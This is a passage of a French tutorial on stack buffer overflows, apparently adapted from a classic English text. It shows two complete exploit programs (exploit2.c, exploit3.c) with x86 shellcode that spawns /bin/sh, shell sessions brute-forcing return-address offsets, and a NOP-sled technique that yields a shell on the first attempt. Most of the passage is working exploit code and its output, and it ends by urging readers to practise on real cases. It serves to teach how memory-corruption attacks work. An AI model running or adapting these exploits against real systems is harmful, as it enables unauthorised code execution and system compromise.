if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
-----------------------------------------------------------------------

Maintenant il faut essayer de deviner ce que sont le buffer et l'offset:

-----------------------------------------------------------------------
[Acid]$ ./exploit2 500
Using address: 0xbffffdb4
[Acid]$ ./vulnerable $EGG
[Acid]$ exit
[Acid]$ ./exploit2 600
Using address: 0xbffffdb4
[Acid]$ ./vulnerable $EGG
Illegal instruction
[Acid]$ exit
[Acid]$ ./exploit2 600 100
Using address: 0xbffffd4c
[Acid]$ ./vulnerable $EGG
Segmentation fault
[Acid]$ exit
[Acid]$ ./exploit2 600 200
Using address: 0xbffffce8
[Acid]$ ./vulnerable $EGG
Segmentation fault
[Acid]$ exit
.
.
.
[Acid]$ ./exploit2 600 1564
Using address: 0xbffff794
[Acid]$ ./vulnerable $EGG
$
-----------------------------------------------------------------------

Comme on peut le voir deviner l'offset c'est pas super, voir presque impossible. Il faut au moins des centaines d'essais, voir meme des miliers.... Le probleme est que l'on ne connait pas exactement où l'adresse de notre code va commencer. Si on se trompe d'un byte de plus ou de moins on va avoir une faute de segmentation ou une instruction non valide. Un moyen d'augmenter nos chance est de mettre avant notre buffer overflow des instructions NOP. Tous les processeurs ont une instruction NOP qui fait une operation null. On va sent servir, et remplir la moitié de notre buffer avec. On met notre shellcode au milieu et après on le fait suivre par l'adresse de retour. Si on est chanceux, il pointera dans les NOP qui seront executés jusqu'a ce qu'il rencontre notre shellcode. Dans l'architecture Intel les NOP sont long d'un byte et dans le language machine correspond à 0x90. Voici l'allure de notre stack (les N representent les NOP)

bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|
top of bottom of
stack stack
 

On ecris donc un nouvel exploit:

exploit3.c
-----------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
-----------------------------------------------------------------------

Une bonne taille pour notre buffer est de 100 bytes de plus que le buffer sur lequel on tente l'overflow. Cela place notre buffer à la fin du buffer que l'on veut "overflower" (;-) laissant beaucoup de place aux NOP mais réécrivant toujours sur l'adresse de retour vec l'adresse que l'on veut. Le buffer que l'on essayer "d'overflower" est long de 512 bytes, donc on va utiliser 612. On va donc essayer notre programme de test avec ce nouvel exploit.

-----------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
-----------------------------------------------------------------------

Du premier coup!!! Ca marche beaucoup mieu qu'avant....Maintenant vous avez la théorie, un peu de pratique, je vous laisse vous entrainer vous même avec des cas réels ^_^